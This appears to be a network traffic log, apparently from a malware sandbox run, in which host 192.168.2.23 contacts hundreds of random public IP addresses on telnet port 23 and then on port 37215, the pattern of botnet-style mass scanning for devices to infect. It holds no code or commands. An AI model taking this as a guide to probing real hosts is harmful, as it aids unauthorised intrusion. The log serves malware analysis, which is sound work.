Dec 3, 2024 23:01:45.909626961 CET	23	62862	116.225.174.76	192.168.2.23
Dec 3, 2024 23:01:45.909635067 CET	23	62862	25.196.143.30	192.168.2.23
Dec 3, 2024 23:01:45.909671068 CET	62862	23	192.168.2.23	116.225.174.76
Dec 3, 2024 23:01:45.909673929 CET	62862	23	192.168.2.23	25.196.143.30
Dec 3, 2024 23:01:45.909715891 CET	23	62862	118.52.98.91	192.168.2.23
Dec 3, 2024 23:01:45.909734011 CET	23	62862	59.241.92.58	192.168.2.23
Dec 3, 2024 23:01:45.909754038 CET	62862	23	192.168.2.23	118.52.98.91
Dec 3, 2024 23:01:45.909761906 CET	23	62862	147.208.188.42	192.168.2.23
Dec 3, 2024 23:01:45.909763098 CET	62862	23	192.168.2.23	59.241.92.58
Dec 3, 2024 23:01:45.909770966 CET	23	62862	86.49.62.246	192.168.2.23
Dec 3, 2024 23:01:45.909790039 CET	23	62862	146.52.174.235	192.168.2.23
Dec 3, 2024 23:01:45.909796953 CET	23	62862	101.22.137.132	192.168.2.23
Dec 3, 2024 23:01:45.909802914 CET	62862	23	192.168.2.23	147.208.188.42
Dec 3, 2024 23:01:45.909802914 CET	62862	23	192.168.2.23	86.49.62.246
Dec 3, 2024 23:01:45.909817934 CET	62862	23	192.168.2.23	146.52.174.235
Dec 3, 2024 23:01:45.909828901 CET	62862	23	192.168.2.23	101.22.137.132
Dec 3, 2024 23:01:45.909837008 CET	23	62862	115.2.205.30	192.168.2.23
Dec 3, 2024 23:01:45.909847021 CET	23	62862	219.151.140.211	192.168.2.23
Dec 3, 2024 23:01:45.909857988 CET	23	62862	115.106.83.227	192.168.2.23
Dec 3, 2024 23:01:45.909876108 CET	62862	23	192.168.2.23	115.2.205.30
Dec 3, 2024 23:01:45.909878969 CET	62862	23	192.168.2.23	219.151.140.211
Dec 3, 2024 23:01:45.909887075 CET	62862	23	192.168.2.23	115.106.83.227
Dec 3, 2024 23:01:45.909905910 CET	23	62862	35.84.31.233	192.168.2.23
Dec 3, 2024 23:01:45.909917116 CET	23	62862	138.74.200.0	192.168.2.23
Dec 3, 2024 23:01:45.909949064 CET	62862	23	192.168.2.23	138.74.200.0
Dec 3, 2024 23:01:45.909950018 CET	62862	23	192.168.2.23	35.84.31.233
Dec 3, 2024 23:01:45.909955025 CET	23	62862	197.7.1.215	192.168.2.23
Dec 3, 2024 23:01:45.909965038 CET	23	62862	34.119.67.203	192.168.2.23
Dec 3, 2024 23:01:45.909996986 CET	62862	23	192.168.2.23	34.119.67.203
Dec 3, 2024 23:01:45.909997940 CET	62862	23	192.168.2.23	197.7.1.215
Dec 3, 2024 23:01:45.910104036 CET	23	62862	24.9.252.42	192.168.2.23
Dec 3, 2024 23:01:45.910113096 CET	23	62862	144.117.253.36	192.168.2.23
Dec 3, 2024 23:01:45.910121918 CET	23	62862	166.211.201.146	192.168.2.23
Dec 3, 2024 23:01:45.910130024 CET	23	62862	103.149.121.22	192.168.2.23
Dec 3, 2024 23:01:45.910137892 CET	23	62862	101.0.214.21	192.168.2.23
Dec 3, 2024 23:01:45.910142899 CET	62862	23	192.168.2.23	144.117.253.36
Dec 3, 2024 23:01:45.910144091 CET	62862	23	192.168.2.23	24.9.252.42
Dec 3, 2024 23:01:45.910146952 CET	23	62862	65.15.136.47	192.168.2.23
Dec 3, 2024 23:01:45.910151005 CET	62862	23	192.168.2.23	166.211.201.146
Dec 3, 2024 23:01:45.910156012 CET	23	62862	25.94.142.140	192.168.2.23
Dec 3, 2024 23:01:45.910161972 CET	62862	23	192.168.2.23	103.149.121.22
Dec 3, 2024 23:01:45.910165071 CET	23	62862	92.142.46.21	192.168.2.23
Dec 3, 2024 23:01:45.910177946 CET	23	62862	107.156.122.149	192.168.2.23
Dec 3, 2024 23:01:45.910181046 CET	62862	23	192.168.2.23	65.15.136.47
Dec 3, 2024 23:01:45.910181999 CET	62862	23	192.168.2.23	25.94.142.140
Dec 3, 2024 23:01:45.910186052 CET	62862	23	192.168.2.23	101.0.214.21
Dec 3, 2024 23:01:45.910187960 CET	23	62862	144.101.114.183	192.168.2.23
Dec 3, 2024 23:01:45.910207987 CET	62862	23	192.168.2.23	92.142.46.21
Dec 3, 2024 23:01:45.910209894 CET	62862	23	192.168.2.23	107.156.122.149
Dec 3, 2024 23:01:45.910227060 CET	62862	23	192.168.2.23	144.101.114.183
Dec 3, 2024 23:01:45.910577059 CET	23	62862	20.184.36.78	192.168.2.23
Dec 3, 2024 23:01:45.910584927 CET	23	62862	142.39.214.198	192.168.2.23
Dec 3, 2024 23:01:45.910593033 CET	23	62862	4.220.111.69	192.168.2.23
Dec 3, 2024 23:01:45.910600901 CET	23	62862	70.40.221.180	192.168.2.23
Dec 3, 2024 23:01:45.910612106 CET	62862	23	192.168.2.23	20.184.36.78
Dec 3, 2024 23:01:45.910617113 CET	62862	23	192.168.2.23	142.39.214.198
Dec 3, 2024 23:01:45.910629988 CET	23	62862	19.21.136.160	192.168.2.23
Dec 3, 2024 23:01:45.910629988 CET	62862	23	192.168.2.23	70.40.221.180
Dec 3, 2024 23:01:45.910630941 CET	62862	23	192.168.2.23	4.220.111.69
Dec 3, 2024 23:01:45.910655022 CET	23	62862	114.144.162.58	192.168.2.23
Dec 3, 2024 23:01:45.910662889 CET	23	62862	104.183.138.162	192.168.2.23
Dec 3, 2024 23:01:45.910670996 CET	62862	23	192.168.2.23	19.21.136.160
Dec 3, 2024 23:01:45.910690069 CET	62862	23	192.168.2.23	114.144.162.58
Dec 3, 2024 23:01:45.910703897 CET	62862	23	192.168.2.23	104.183.138.162
Dec 3, 2024 23:01:45.910784960 CET	23	62862	58.63.92.235	192.168.2.23
Dec 3, 2024 23:01:45.910794020 CET	23	62862	2.106.238.15	192.168.2.23
Dec 3, 2024 23:01:45.910803080 CET	23	62862	169.206.87.14	192.168.2.23
Dec 3, 2024 23:01:45.910810947 CET	23	62862	24.73.11.152	192.168.2.23
Dec 3, 2024 23:01:45.910819054 CET	23	62862	47.253.193.89	192.168.2.23
Dec 3, 2024 23:01:45.910825968 CET	62862	23	192.168.2.23	58.63.92.235
Dec 3, 2024 23:01:45.910825968 CET	62862	23	192.168.2.23	2.106.238.15
Dec 3, 2024 23:01:45.910828114 CET	23	62862	205.126.236.13	192.168.2.23
Dec 3, 2024 23:01:45.910836935 CET	23	62862	137.48.3.204	192.168.2.23
Dec 3, 2024 23:01:45.910839081 CET	62862	23	192.168.2.23	169.206.87.14
Dec 3, 2024 23:01:45.910845041 CET	23	62862	194.218.230.166	192.168.2.23
Dec 3, 2024 23:01:45.910847902 CET	62862	23	192.168.2.23	47.253.193.89
Dec 3, 2024 23:01:45.910849094 CET	62862	23	192.168.2.23	24.73.11.152
Dec 3, 2024 23:01:45.910855055 CET	23	62862	185.162.33.245	192.168.2.23
Dec 3, 2024 23:01:45.910859108 CET	62862	23	192.168.2.23	205.126.236.13
Dec 3, 2024 23:01:45.910859108 CET	62862	23	192.168.2.23	137.48.3.204
Dec 3, 2024 23:01:45.910862923 CET	23	62862	130.217.152.104	192.168.2.23
Dec 3, 2024 23:01:45.910872936 CET	23	62862	61.100.130.90	192.168.2.23
Dec 3, 2024 23:01:45.910881042 CET	23	62862	204.7.115.183	192.168.2.23
Dec 3, 2024 23:01:45.910881042 CET	62862	23	192.168.2.23	194.218.230.166
Dec 3, 2024 23:01:45.910887957 CET	62862	23	192.168.2.23	185.162.33.245
Dec 3, 2024 23:01:45.910888910 CET	23	62862	171.41.241.32	192.168.2.23
Dec 3, 2024 23:01:45.910897017 CET	23	62862	24.181.134.254	192.168.2.23
Dec 3, 2024 23:01:45.910896063 CET	62862	23	192.168.2.23	130.217.152.104
Dec 3, 2024 23:01:45.910906076 CET	23	62862	97.101.250.192	192.168.2.23
Dec 3, 2024 23:01:45.910906076 CET	62862	23	192.168.2.23	61.100.130.90
Dec 3, 2024 23:01:45.910913944 CET	23	62862	99.190.171.225	192.168.2.23
Dec 3, 2024 23:01:45.910921097 CET	62862	23	192.168.2.23	24.181.134.254
Dec 3, 2024 23:01:45.910921097 CET	62862	23	192.168.2.23	204.7.115.183
Dec 3, 2024 23:01:45.910921097 CET	62862	23	192.168.2.23	171.41.241.32
Dec 3, 2024 23:01:45.910923004 CET	23	62862	157.93.147.249	192.168.2.23
Dec 3, 2024 23:01:45.910938978 CET	62862	23	192.168.2.23	99.190.171.225
Dec 3, 2024 23:01:45.910938978 CET	62862	23	192.168.2.23	97.101.250.192
Dec 3, 2024 23:01:45.910942078 CET	23	62862	14.235.101.231	192.168.2.23
Dec 3, 2024 23:01:45.910950899 CET	23	62862	4.168.220.131	192.168.2.23
Dec 3, 2024 23:01:45.910958052 CET	23	62862	94.0.250.27	192.168.2.23
Dec 3, 2024 23:01:45.910962105 CET	62862	23	192.168.2.23	157.93.147.249
Dec 3, 2024 23:01:45.910965919 CET	23	62862	135.150.122.225	192.168.2.23
Dec 3, 2024 23:01:45.910983086 CET	62862	23	192.168.2.23	4.168.220.131
Dec 3, 2024 23:01:45.910983086 CET	62862	23	192.168.2.23	14.235.101.231
Dec 3, 2024 23:01:45.910985947 CET	62862	23	192.168.2.23	94.0.250.27
Dec 3, 2024 23:01:45.911000967 CET	62862	23	192.168.2.23	135.150.122.225
Dec 3, 2024 23:01:45.911294937 CET	23	62862	144.66.134.181	192.168.2.23
Dec 3, 2024 23:01:45.911334991 CET	62862	23	192.168.2.23	144.66.134.181
Dec 3, 2024 23:01:45.911393881 CET	23	62862	191.11.175.27	192.168.2.23
Dec 3, 2024 23:01:45.911402941 CET	23	62862	117.229.215.184	192.168.2.23
Dec 3, 2024 23:01:45.911411047 CET	23	62862	204.204.143.178	192.168.2.23
Dec 3, 2024 23:01:45.911427021 CET	23	62862	137.250.203.153	192.168.2.23
Dec 3, 2024 23:01:45.911429882 CET	62862	23	192.168.2.23	191.11.175.27
Dec 3, 2024 23:01:45.911433935 CET	62862	23	192.168.2.23	117.229.215.184
Dec 3, 2024 23:01:45.911434889 CET	23	62862	88.167.201.201	192.168.2.23
Dec 3, 2024 23:01:45.911439896 CET	62862	23	192.168.2.23	204.204.143.178
Dec 3, 2024 23:01:45.911446095 CET	23	62862	212.221.208.125	192.168.2.23
Dec 3, 2024 23:01:45.911453962 CET	23	62862	48.205.183.157	192.168.2.23
Dec 3, 2024 23:01:45.911462069 CET	23	62862	128.191.10.67	192.168.2.23
Dec 3, 2024 23:01:45.911468983 CET	62862	23	192.168.2.23	88.167.201.201
Dec 3, 2024 23:01:45.911470890 CET	62862	23	192.168.2.23	137.250.203.153
Dec 3, 2024 23:01:45.911484957 CET	62862	23	192.168.2.23	212.221.208.125
Dec 3, 2024 23:01:45.911492109 CET	62862	23	192.168.2.23	48.205.183.157
Dec 3, 2024 23:01:45.911493063 CET	62862	23	192.168.2.23	128.191.10.67
Dec 3, 2024 23:01:45.911515951 CET	23	62862	202.125.141.64	192.168.2.23
Dec 3, 2024 23:01:45.911525011 CET	23	62862	175.133.175.254	192.168.2.23
Dec 3, 2024 23:01:45.911533117 CET	23	62862	182.85.19.98	192.168.2.23
Dec 3, 2024 23:01:45.911541939 CET	23	62862	84.160.212.102	192.168.2.23
Dec 3, 2024 23:01:45.911550999 CET	23	62862	126.136.64.137	192.168.2.23
Dec 3, 2024 23:01:45.911557913 CET	62862	23	192.168.2.23	202.125.141.64
Dec 3, 2024 23:01:45.911566019 CET	62862	23	192.168.2.23	175.133.175.254
Dec 3, 2024 23:01:45.911566973 CET	23	62862	211.8.0.17	192.168.2.23
Dec 3, 2024 23:01:45.911566019 CET	62862	23	192.168.2.23	182.85.19.98
Dec 3, 2024 23:01:45.911575079 CET	23	62862	38.227.210.124	192.168.2.23
Dec 3, 2024 23:01:45.911576986 CET	62862	23	192.168.2.23	84.160.212.102
Dec 3, 2024 23:01:45.911576986 CET	62862	23	192.168.2.23	126.136.64.137
Dec 3, 2024 23:01:45.911585093 CET	23	62862	152.32.39.219	192.168.2.23
Dec 3, 2024 23:01:45.911593914 CET	23	62862	141.228.230.130	192.168.2.23
Dec 3, 2024 23:01:45.911607981 CET	62862	23	192.168.2.23	211.8.0.17
Dec 3, 2024 23:01:45.911609888 CET	62862	23	192.168.2.23	38.227.210.124
Dec 3, 2024 23:01:45.911612034 CET	23	62862	198.160.78.110	192.168.2.23
Dec 3, 2024 23:01:45.911621094 CET	23	62862	65.13.30.42	192.168.2.23
Dec 3, 2024 23:01:45.911621094 CET	62862	23	192.168.2.23	141.228.230.130
Dec 3, 2024 23:01:45.911627054 CET	62862	23	192.168.2.23	152.32.39.219
Dec 3, 2024 23:01:45.911629915 CET	23	62862	202.185.151.193	192.168.2.23
Dec 3, 2024 23:01:45.911643982 CET	62862	23	192.168.2.23	198.160.78.110
Dec 3, 2024 23:01:45.911659002 CET	62862	23	192.168.2.23	65.13.30.42
Dec 3, 2024 23:01:45.911663055 CET	62862	23	192.168.2.23	202.185.151.193
Dec 3, 2024 23:01:45.911797047 CET	23	62862	31.216.98.37	192.168.2.23
Dec 3, 2024 23:01:45.911806107 CET	23	62862	183.85.71.160	192.168.2.23
Dec 3, 2024 23:01:45.911813974 CET	23	62862	199.169.28.88	192.168.2.23
Dec 3, 2024 23:01:45.911820889 CET	23	62862	24.71.235.241	192.168.2.23
Dec 3, 2024 23:01:45.911828995 CET	23	62862	61.243.225.231	192.168.2.23
Dec 3, 2024 23:01:45.911835909 CET	23	62862	98.200.115.253	192.168.2.23
Dec 3, 2024 23:01:45.911837101 CET	62862	23	192.168.2.23	31.216.98.37
Dec 3, 2024 23:01:45.911837101 CET	62862	23	192.168.2.23	183.85.71.160
Dec 3, 2024 23:01:45.911839962 CET	23	62862	220.55.252.87	192.168.2.23
Dec 3, 2024 23:01:45.911844015 CET	62862	23	192.168.2.23	199.169.28.88
Dec 3, 2024 23:01:45.911851883 CET	62862	23	192.168.2.23	24.71.235.241
Dec 3, 2024 23:01:45.911864996 CET	62862	23	192.168.2.23	98.200.115.253
Dec 3, 2024 23:01:45.911864996 CET	62862	23	192.168.2.23	61.243.225.231
Dec 3, 2024 23:01:45.911870956 CET	62862	23	192.168.2.23	220.55.252.87
Dec 3, 2024 23:01:45.912221909 CET	23	62862	126.117.138.148	192.168.2.23
Dec 3, 2024 23:01:45.912260056 CET	62862	23	192.168.2.23	126.117.138.148
Dec 3, 2024 23:01:45.912338972 CET	23	62862	78.46.188.192	192.168.2.23
Dec 3, 2024 23:01:45.912348986 CET	23	62862	178.147.98.60	192.168.2.23
Dec 3, 2024 23:01:45.912357092 CET	23	62862	101.236.116.50	192.168.2.23
Dec 3, 2024 23:01:45.912364960 CET	23	62862	35.180.243.183	192.168.2.23
Dec 3, 2024 23:01:45.912374020 CET	23	62862	86.75.76.32	192.168.2.23
Dec 3, 2024 23:01:45.912379026 CET	62862	23	192.168.2.23	78.46.188.192
Dec 3, 2024 23:01:45.912379980 CET	62862	23	192.168.2.23	178.147.98.60
Dec 3, 2024 23:01:45.912383080 CET	23	62862	91.105.192.234	192.168.2.23
Dec 3, 2024 23:01:45.912389994 CET	62862	23	192.168.2.23	101.236.116.50
Dec 3, 2024 23:01:45.912391901 CET	23	62862	35.238.126.105	192.168.2.23
Dec 3, 2024 23:01:45.912400007 CET	62862	23	192.168.2.23	35.180.243.183
Dec 3, 2024 23:01:45.912410975 CET	23	62862	43.215.185.255	192.168.2.23
Dec 3, 2024 23:01:45.912415028 CET	62862	23	192.168.2.23	86.75.76.32
Dec 3, 2024 23:01:45.912415981 CET	62862	23	192.168.2.23	91.105.192.234
Dec 3, 2024 23:01:45.912420988 CET	23	62862	160.226.1.145	192.168.2.23
Dec 3, 2024 23:01:45.912420988 CET	62862	23	192.168.2.23	35.238.126.105
Dec 3, 2024 23:01:45.912430048 CET	23	62862	82.178.176.128	192.168.2.23
Dec 3, 2024 23:01:45.912439108 CET	23	62862	141.173.139.116	192.168.2.23
Dec 3, 2024 23:01:45.912440062 CET	62862	23	192.168.2.23	43.215.185.255
Dec 3, 2024 23:01:45.912442923 CET	23	62862	2.62.147.178	192.168.2.23
Dec 3, 2024 23:01:45.912460089 CET	62862	23	192.168.2.23	160.226.1.145
Dec 3, 2024 23:01:45.912472010 CET	23	62862	25.222.201.197	192.168.2.23
Dec 3, 2024 23:01:45.912472963 CET	62862	23	192.168.2.23	82.178.176.128
Dec 3, 2024 23:01:45.912477016 CET	62862	23	192.168.2.23	141.173.139.116
Dec 3, 2024 23:01:45.912477016 CET	62862	23	192.168.2.23	2.62.147.178
Dec 3, 2024 23:01:45.912481070 CET	23	62862	82.193.91.141	192.168.2.23
Dec 3, 2024 23:01:45.912491083 CET	23	62862	145.94.51.202	192.168.2.23
Dec 3, 2024 23:01:45.912499905 CET	23	62862	150.135.123.79	192.168.2.23
Dec 3, 2024 23:01:45.912504911 CET	62862	23	192.168.2.23	25.222.201.197
Dec 3, 2024 23:01:45.912507057 CET	23	62862	123.184.131.149	192.168.2.23
Dec 3, 2024 23:01:45.912508011 CET	62862	23	192.168.2.23	82.193.91.141
Dec 3, 2024 23:01:45.912518024 CET	23	62862	132.191.25.205	192.168.2.23
Dec 3, 2024 23:01:45.912523985 CET	62862	23	192.168.2.23	145.94.51.202
Dec 3, 2024 23:01:45.912525892 CET	23	62862	85.143.169.37	192.168.2.23
Dec 3, 2024 23:01:45.912525892 CET	62862	23	192.168.2.23	150.135.123.79
Dec 3, 2024 23:01:45.912544966 CET	62862	23	192.168.2.23	132.191.25.205
Dec 3, 2024 23:01:45.912544966 CET	62862	23	192.168.2.23	123.184.131.149
Dec 3, 2024 23:01:45.912564993 CET	62862	23	192.168.2.23	85.143.169.37
Dec 3, 2024 23:01:45.912568092 CET	23	62862	188.67.181.4	192.168.2.23
Dec 3, 2024 23:01:45.912575960 CET	23	62862	143.91.3.198	192.168.2.23
Dec 3, 2024 23:01:45.912584066 CET	23	62862	66.251.17.83	192.168.2.23
Dec 3, 2024 23:01:45.912591934 CET	23	62862	36.76.201.120	192.168.2.23
Dec 3, 2024 23:01:45.912602901 CET	23	62862	52.71.7.205	192.168.2.23
Dec 3, 2024 23:01:45.912605047 CET	62862	23	192.168.2.23	188.67.181.4
Dec 3, 2024 23:01:45.912605047 CET	62862	23	192.168.2.23	143.91.3.198
Dec 3, 2024 23:01:45.912626982 CET	62862	23	192.168.2.23	36.76.201.120
Dec 3, 2024 23:01:45.912627935 CET	23	62862	174.44.199.29	192.168.2.23
Dec 3, 2024 23:01:45.912626982 CET	62862	23	192.168.2.23	66.251.17.83
Dec 3, 2024 23:01:45.912626982 CET	62862	23	192.168.2.23	52.71.7.205
Dec 3, 2024 23:01:45.912636995 CET	23	62862	43.19.45.171	192.168.2.23
Dec 3, 2024 23:01:45.912659883 CET	62862	23	192.168.2.23	174.44.199.29
Dec 3, 2024 23:01:45.912667036 CET	62862	23	192.168.2.23	43.19.45.171
Dec 3, 2024 23:01:45.912667036 CET	23	62862	144.252.229.236	192.168.2.23
Dec 3, 2024 23:01:45.912708998 CET	62862	23	192.168.2.23	144.252.229.236
Dec 3, 2024 23:01:45.913428068 CET	23	62862	120.27.202.245	192.168.2.23
Dec 3, 2024 23:01:45.913436890 CET	23	62862	187.40.39.230	192.168.2.23
Dec 3, 2024 23:01:45.913445950 CET	23	62862	42.46.236.54	192.168.2.23
Dec 3, 2024 23:01:45.913455009 CET	37215	59534	197.154.7.108	192.168.2.23
Dec 3, 2024 23:01:45.913472891 CET	62862	23	192.168.2.23	187.40.39.230
Dec 3, 2024 23:01:45.913472891 CET	62862	23	192.168.2.23	120.27.202.245
Dec 3, 2024 23:01:45.913476944 CET	62862	23	192.168.2.23	42.46.236.54
Dec 3, 2024 23:01:45.913491964 CET	59534	37215	192.168.2.23	197.154.7.108
Dec 3, 2024 23:01:45.913552999 CET	37215	59534	197.141.173.28	192.168.2.23
Dec 3, 2024 23:01:45.913562059 CET	37215	59534	197.79.83.27	192.168.2.23
Dec 3, 2024 23:01:45.913568974 CET	37215	59534	41.208.185.75	192.168.2.23
Dec 3, 2024 23:01:45.913579941 CET	37215	59534	156.237.84.222	192.168.2.23
Dec 3, 2024 23:01:45.913588047 CET	37215	59534	197.35.105.124	192.168.2.23
Dec 3, 2024 23:01:45.913590908 CET	59534	37215	192.168.2.23	197.141.173.28
Dec 3, 2024 23:01:45.913594961 CET	59534	37215	192.168.2.23	197.79.83.27
Dec 3, 2024 23:01:45.913598061 CET	37215	59534	197.24.22.94	192.168.2.23
Dec 3, 2024 23:01:45.913598061 CET	59534	37215	192.168.2.23	156.237.84.222
Dec 3, 2024 23:01:45.913604021 CET	59534	37215	192.168.2.23	41.208.185.75
Dec 3, 2024 23:01:45.913608074 CET	37215	59534	156.254.249.22	192.168.2.23
Dec 3, 2024 23:01:45.913615942 CET	37215	59534	156.150.233.177	192.168.2.23
Dec 3, 2024 23:01:45.913624048 CET	37215	59534	197.189.147.112	192.168.2.23
Dec 3, 2024 23:01:45.913626909 CET	59534	37215	192.168.2.23	197.35.105.124
Dec 3, 2024 23:01:45.913626909 CET	59534	37215	192.168.2.23	197.24.22.94
Dec 3, 2024 23:01:45.913633108 CET	37215	59534	41.102.44.50	192.168.2.23
Dec 3, 2024 23:01:45.913639069 CET	59534	37215	192.168.2.23	156.150.233.177
Dec 3, 2024 23:01:45.913642883 CET	37215	59534	197.222.173.61	192.168.2.23
Dec 3, 2024 23:01:45.913645983 CET	59534	37215	192.168.2.23	156.254.249.22
Dec 3, 2024 23:01:45.913651943 CET	37215	59534	41.244.69.91	192.168.2.23
Dec 3, 2024 23:01:45.913654089 CET	59534	37215	192.168.2.23	197.189.147.112
Dec 3, 2024 23:01:45.913661003 CET	59534	37215	192.168.2.23	41.102.44.50
Dec 3, 2024 23:01:45.913661957 CET	37215	59534	197.154.109.16	192.168.2.23
Dec 3, 2024 23:01:45.913671017 CET	37215	59534	41.82.3.60	192.168.2.23
Dec 3, 2024 23:01:45.913682938 CET	37215	59534	156.89.216.25	192.168.2.23
Dec 3, 2024 23:01:45.913683891 CET	59534	37215	192.168.2.23	197.222.173.61
Dec 3, 2024 23:01:45.913686991 CET	59534	37215	192.168.2.23	41.244.69.91
Dec 3, 2024 23:01:45.913690090 CET	59534	37215	192.168.2.23	197.154.109.16
Dec 3, 2024 23:01:45.913691998 CET	37215	59534	197.199.72.12	192.168.2.23
Dec 3, 2024 23:01:45.913700104 CET	37215	59534	156.149.102.103	192.168.2.23
Dec 3, 2024 23:01:45.913700104 CET	59534	37215	192.168.2.23	41.82.3.60
Dec 3, 2024 23:01:45.913708925 CET	37215	59534	197.50.244.204	192.168.2.23
Dec 3, 2024 23:01:45.913717985 CET	59534	37215	192.168.2.23	156.89.216.25
Dec 3, 2024 23:01:45.913718939 CET	37215	59534	197.239.245.97	192.168.2.23
Dec 3, 2024 23:01:45.913724899 CET	59534	37215	192.168.2.23	197.199.72.12
Dec 3, 2024 23:01:45.913727999 CET	59534	37215	192.168.2.23	156.149.102.103
Dec 3, 2024 23:01:45.913728952 CET	37215	59534	41.109.45.0	192.168.2.23
Dec 3, 2024 23:01:45.913737059 CET	37215	59534	41.200.174.88	192.168.2.23
Dec 3, 2024 23:01:45.913738966 CET	59534	37215	192.168.2.23	197.50.244.204
Dec 3, 2024 23:01:45.913750887 CET	37215	59534	156.213.27.240	192.168.2.23
Dec 3, 2024 23:01:45.913757086 CET	59534	37215	192.168.2.23	197.239.245.97
Dec 3, 2024 23:01:45.913759947 CET	59534	37215	192.168.2.23	41.109.45.0
Dec 3, 2024 23:01:45.913759947 CET	37215	59534	156.48.47.131	192.168.2.23
Dec 3, 2024 23:01:45.913772106 CET	59534	37215	192.168.2.23	41.200.174.88
Dec 3, 2024 23:01:45.913779020 CET	59534	37215	192.168.2.23	156.213.27.240
Dec 3, 2024 23:01:45.913794994 CET	59534	37215	192.168.2.23	156.48.47.131
Dec 3, 2024 23:01:45.914494038 CET	37215	59534	41.130.195.184	192.168.2.23
Dec 3, 2024 23:01:45.914503098 CET	37215	59534	41.84.183.155	192.168.2.23
Dec 3, 2024 23:01:45.914515018 CET	37215	59534	41.239.15.80	192.168.2.23
Dec 3, 2024 23:01:45.914535046 CET	59534	37215	192.168.2.23	41.130.195.184
Dec 3, 2024 23:01:45.914535999 CET	59534	37215	192.168.2.23	41.84.183.155
Dec 3, 2024 23:01:45.914554119 CET	59534	37215	192.168.2.23	41.239.15.80
Dec 3, 2024 23:01:45.914554119 CET	37215	59534	197.239.148.54	192.168.2.23
Dec 3, 2024 23:01:45.914566994 CET	37215	59534	197.182.150.52	192.168.2.23
Dec 3, 2024 23:01:45.914582968 CET	37215	59534	197.4.91.99	192.168.2.23
Dec 3, 2024 23:01:45.914594889 CET	59534	37215	192.168.2.23	197.182.150.52
Dec 3, 2024 23:01:45.914596081 CET	59534	37215	192.168.2.23	197.239.148.54
Dec 3, 2024 23:01:45.914619923 CET	59534	37215	192.168.2.23	197.4.91.99
Dec 3, 2024 23:01:45.914640903 CET	37215	59534	41.64.147.204	192.168.2.23
Dec 3, 2024 23:01:45.914660931 CET	37215	59534	156.217.12.79	192.168.2.23
Dec 3, 2024 23:01:45.914670944 CET	37215	59534	156.224.235.220	192.168.2.23
Dec 3, 2024 23:01:45.914685965 CET	59534	37215	192.168.2.23	41.64.147.204
Dec 3, 2024 23:01:45.914696932 CET	59534	37215	192.168.2.23	156.217.12.79
Dec 3, 2024 23:01:45.914696932 CET	59534	37215	192.168.2.23	156.224.235.220
Dec 3, 2024 23:01:45.914798021 CET	37215	59534	156.127.38.136	192.168.2.23
Dec 3, 2024 23:01:45.914807081 CET	37215	59534	156.90.8.223	192.168.2.23
Dec 3, 2024 23:01:45.914813995 CET	37215	59534	41.207.200.148	192.168.2.23
Dec 3, 2024 23:01:45.914820910 CET	37215	59534	197.94.54.53	192.168.2.23
Dec 3, 2024 23:01:45.914834976 CET	59534	37215	192.168.2.23	156.127.38.136
Dec 3, 2024 23:01:45.914834976 CET	59534	37215	192.168.2.23	41.207.200.148
Dec 3, 2024 23:01:45.914835930 CET	37215	59534	197.11.116.224	192.168.2.23
Dec 3, 2024 23:01:45.914839029 CET	59534	37215	192.168.2.23	156.90.8.223
Dec 3, 2024 23:01:45.914844990 CET	37215	59534	197.103.198.240	192.168.2.23
Dec 3, 2024 23:01:45.914855003 CET	37215	59534	197.17.237.146	192.168.2.23
Dec 3, 2024 23:01:45.914861917 CET	59534	37215	192.168.2.23	197.94.54.53
Dec 3, 2024 23:01:45.914870024 CET	59534	37215	192.168.2.23	197.11.116.224
Dec 3, 2024 23:01:45.914880991 CET	59534	37215	192.168.2.23	197.103.198.240
Dec 3, 2024 23:01:45.914890051 CET	59534	37215	192.168.2.23	197.17.237.146
Dec 3, 2024 23:01:45.914900064 CET	37215	59534	156.12.97.194	192.168.2.23
Dec 3, 2024 23:01:45.914940119 CET	59534	37215	192.168.2.23	156.12.97.194
Dec 3, 2024 23:01:45.914973021 CET	37215	59534	156.50.222.108	192.168.2.23
Dec 3, 2024 23:01:45.914982080 CET	37215	59534	156.39.24.101	192.168.2.23
Dec 3, 2024 23:01:45.914988041 CET	37215	59534	41.113.178.89	192.168.2.23
Dec 3, 2024 23:01:45.914994955 CET	37215	59534	41.66.247.224	192.168.2.23
Dec 3, 2024 23:01:45.915014982 CET	59534	37215	192.168.2.23	156.50.222.108
Dec 3, 2024 23:01:45.915015936 CET	37215	59534	197.196.149.34	192.168.2.23
Dec 3, 2024 23:01:45.915020943 CET	59534	37215	192.168.2.23	156.39.24.101
Dec 3, 2024 23:01:45.915020943 CET	59534	37215	192.168.2.23	41.66.247.224
Dec 3, 2024 23:01:45.915021896 CET	59534	37215	192.168.2.23	41.113.178.89
Dec 3, 2024 23:01:45.915056944 CET	59534	37215	192.168.2.23	197.196.149.34
Dec 3, 2024 23:01:45.915090084 CET	37215	59534	41.204.185.0	192.168.2.23
Dec 3, 2024 23:01:45.915100098 CET	37215	59534	41.11.30.60	192.168.2.23
Dec 3, 2024 23:01:45.915134907 CET	59534	37215	192.168.2.23	41.204.185.0
Dec 3, 2024 23:01:45.915138960 CET	59534	37215	192.168.2.23	41.11.30.60
Dec 3, 2024 23:01:45.915146112 CET	37215	59534	156.233.214.122	192.168.2.23
Dec 3, 2024 23:01:45.915172100 CET	37215	59534	41.71.81.79	192.168.2.23
Dec 3, 2024 23:01:45.915191889 CET	59534	37215	192.168.2.23	156.233.214.122
Dec 3, 2024 23:01:45.915193081 CET	59534	37215	192.168.2.23	41.71.81.79
Dec 3, 2024 23:01:45.915220976 CET	37215	59534	41.139.0.15	192.168.2.23
Dec 3, 2024 23:01:45.915229082 CET	37215	59534	197.133.138.154	192.168.2.23
Dec 3, 2024 23:01:45.915258884 CET	59534	37215	192.168.2.23	41.139.0.15
Dec 3, 2024 23:01:45.915261030 CET	59534	37215	192.168.2.23	197.133.138.154
Dec 3, 2024 23:01:45.915796995 CET	37215	59534	41.94.87.80	192.168.2.23
Dec 3, 2024 23:01:45.915834904 CET	37215	59534	156.3.110.205	192.168.2.23
Dec 3, 2024 23:01:45.915836096 CET	59534	37215	192.168.2.23	41.94.87.80
Dec 3, 2024 23:01:45.915843964 CET	37215	59534	41.118.155.217	192.168.2.23
Dec 3, 2024 23:01:45.915853977 CET	37215	59534	41.15.3.161	192.168.2.23
Dec 3, 2024 23:01:45.915870905 CET	59534	37215	192.168.2.23	156.3.110.205
Dec 3, 2024 23:01:45.915870905 CET	59534	37215	192.168.2.23	41.118.155.217
Dec 3, 2024 23:01:45.915887117 CET	59534	37215	192.168.2.23	41.15.3.161
Dec 3, 2024 23:01:45.915894985 CET	37215	59534	197.55.250.42	192.168.2.23
Dec 3, 2024 23:01:45.915904045 CET	37215	59534	41.84.243.69	192.168.2.23
